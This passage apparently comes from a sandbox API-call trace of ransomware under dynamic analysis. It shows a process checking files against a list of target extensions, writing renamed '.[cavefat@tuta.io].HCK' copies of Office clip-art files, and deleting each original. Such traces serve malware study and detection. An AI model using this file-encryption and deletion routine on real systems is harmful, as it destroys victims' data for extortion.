SetEndOfFile (hFile=0x454) returned 1 [0237.362] CloseHandle (hObject=0x454) returned 1 [0237.362] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.362] SetEndOfFile (hFile=0x4a4) returned 1 [0237.364] CloseHandle (hObject=0x4a4) returned 1 [0237.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0237.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.366] lstrlenW (lpString=".doc") returned 4 [0237.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.366] lstrlenW (lpString=".docx") returned 5 [0237.366] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0237.366] lstrlenW (lpString=".pdf") returned 4 [0237.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.366] lstrlenW (lpString=".xls") returned 4 [0237.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.366] lstrlenW (lpString=".xlsx") returned 5 [0237.366] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0237.366] lstrlenW (lpString=".ppt") returned 4 [0237.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.366] lstrlenW (lpString=".zip") returned 4 [0237.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.366] lstrlenW (lpString=".rar") returned 4 [0237.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.366] lstrlenW (lpString=".bz2") returned 4 [0237.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.366] lstrlenW (lpString=".7z") returned 3 [0237.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.366] lstrlenW (lpString=".dbf") returned 4 [0237.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.366] lstrlenW (lpString=".1cd") returned 4 [0237.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.366] lstrlenW (lpString=".jpg") returned 4 [0237.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.367] lstrlenW (lpString=".doc") returned 4 [0237.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.367] lstrlenW (lpString=".docx") returned 5 [0237.367] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0237.367] lstrlenW (lpString=".pdf") returned 4 [0237.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.367] lstrlenW (lpString=".xls") returned 4 [0237.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.367] lstrlenW (lpString=".xlsx") returned 5 [0237.367] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0237.367] lstrlenW (lpString=".ppt") returned 4 [0237.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.367] lstrlenW (lpString=".zip") returned 4 [0237.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.367] lstrlenW (lpString=".rar") returned 4 [0237.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.367] lstrlenW (lpString=".bz2") returned 4 [0237.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.367] lstrlenW (lpString=".7z") returned 3 [0237.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.367] lstrlenW (lpString=".dbf") returned 4 [0237.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.367] lstrlenW (lpString=".1cd") returned 4 [0237.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0237.367] lstrlenW (lpString=".jpg") returned 4 [0237.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.367] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.367] lstrlenW (lpString="J0152626.WMF") returned 12 [0237.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.540] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=26248) returned 1 [0237.540] CloseHandle (hObject=0x4a4) returned 1 [0237.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220 [0237.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.117] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.117] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.413] GetLastError () returned 0x0 [0238.413] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x6688, lpOverlapped=0x0) returned 1 [0238.415] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x6690, lpOverlapped=0x0) returned 1 [0238.416] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.416] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.416] SetEndOfFile (hFile=0x4d4) returned 1 [0238.416] CloseHandle (hObject=0x4d4) returned 1 [0238.417] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.417] SetEndOfFile (hFile=0x454) returned 1 [0238.419] CloseHandle (hObject=0x454) returned 1 [0238.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0238.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.420] lstrlenW (lpString=".doc") returned 4 [0238.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString=".docx") returned 5 [0238.421] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0238.421] lstrlenW (lpString=".pdf") returned 4 [0238.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString=".xls") returned 4 [0238.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.421] lstrlenW (lpString=".xlsx") returned 5 [0238.421] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0238.421] lstrlenW (lpString=".ppt") returned 4 [0238.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.421] lstrlenW (lpString=".zip") returned 4 [0238.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.421] lstrlenW (lpString=".rar") returned 4 [0238.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString=".bz2") returned 4 [0238.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString=".7z") returned 3 [0238.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.421] lstrlenW (lpString=".dbf") returned 4 [0238.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.421] lstrlenW (lpString=".1cd") returned 4 [0238.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.421] lstrlenW (lpString=".jpg") returned 4 [0238.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.421] lstrlenW (lpString=".doc") returned 4 [0238.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString=".docx") returned 5 [0238.421] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0238.421] lstrlenW (lpString=".pdf") returned 4 [0238.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString=".xls") returned 4 [0238.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.421] lstrlenW (lpString=".xlsx") returned 5 [0238.421] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0238.421] lstrlenW (lpString=".ppt") returned 4 [0238.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.421] lstrlenW (lpString=".zip") returned 4 [0238.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.421] lstrlenW (lpString=".rar") returned 4 [0238.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.421] lstrlenW (lpString=".bz2") returned 4 [0238.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.422] lstrlenW (lpString=".7z") returned 3 [0238.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.422] lstrlenW (lpString=".dbf") returned 4 [0238.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.422] lstrlenW (lpString=".1cd") returned 4 [0238.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0238.422] lstrlenW (lpString=".jpg") returned 4 [0238.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.422] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.422] lstrlenW (lpString="J0153093.WMF") returned 12 [0238.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.423] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8880) returned 1 [0238.423] CloseHandle (hObject=0x454) returned 1 [0238.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 0x220 [0238.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.424] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.424] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.425] GetLastError () returned 0x0 [0238.425] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x22b0, lpOverlapped=0x0) returned 1 [0238.427] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x22c0, lpOverlapped=0x0) returned 1 [0238.428] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.428] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.428] SetEndOfFile (hFile=0x4d4) returned 1 [0238.435] CloseHandle (hObject=0x4d4) returned 1 [0238.435] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.435] SetEndOfFile (hFile=0x454) returned 1 [0238.438] CloseHandle (hObject=0x454) returned 1 [0238.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 1 [0238.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.440] lstrlenW (lpString=".doc") returned 4 [0238.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString=".docx") returned 5 [0238.440] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0238.440] lstrlenW (lpString=".pdf") returned 4 [0238.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString=".xls") returned 4 [0238.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.440] lstrlenW (lpString=".xlsx") returned 5 [0238.440] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0238.440] lstrlenW (lpString=".ppt") returned 4 [0238.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.440] lstrlenW (lpString=".zip") returned 4 [0238.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.440] lstrlenW (lpString=".rar") returned 4 [0238.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString=".bz2") returned 4 [0238.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString=".7z") returned 3 [0238.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.440] lstrlenW (lpString=".dbf") returned 4 [0238.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.440] lstrlenW (lpString=".1cd") returned 4 [0238.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.440] lstrlenW (lpString=".jpg") returned 4 [0238.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.440] lstrlenW (lpString=".doc") returned 4 [0238.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString=".docx") returned 5 [0238.440] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0238.440] lstrlenW (lpString=".pdf") returned 4 [0238.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString=".xls") returned 4 [0238.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.440] lstrlenW (lpString=".xlsx") returned 5 [0238.440] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0238.440] lstrlenW (lpString=".ppt") returned 4 [0238.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.441] lstrlenW (lpString=".zip") returned 4 [0238.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.441] lstrlenW (lpString=".rar") returned 4 [0238.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.441] lstrlenW (lpString=".bz2") returned 4 [0238.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.441] lstrlenW (lpString=".7z") returned 3 [0238.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.441] lstrlenW (lpString=".dbf") returned 4 [0238.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.441] lstrlenW (lpString=".1cd") returned 4 [0238.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0238.441] lstrlenW (lpString=".jpg") returned 4 [0238.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.441] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.441] lstrlenW (lpString="J0153095.WMF") returned 12 [0238.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.442] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3704) returned 1 [0238.442] CloseHandle (hObject=0x454) returned 1 [0238.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 0x220 [0238.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.443] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.443] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.444] GetLastError () returned 0x0 [0238.444] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xe78, lpOverlapped=0x0) returned 1 [0238.446] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xe80, lpOverlapped=0x0) returned 1 [0238.446] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.446] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.447] SetEndOfFile (hFile=0x4d4) returned 1 [0238.447] CloseHandle (hObject=0x4d4) returned 1 [0238.447] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.447] SetEndOfFile (hFile=0x454) returned 1 [0238.455] CloseHandle (hObject=0x454) returned 1 [0238.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 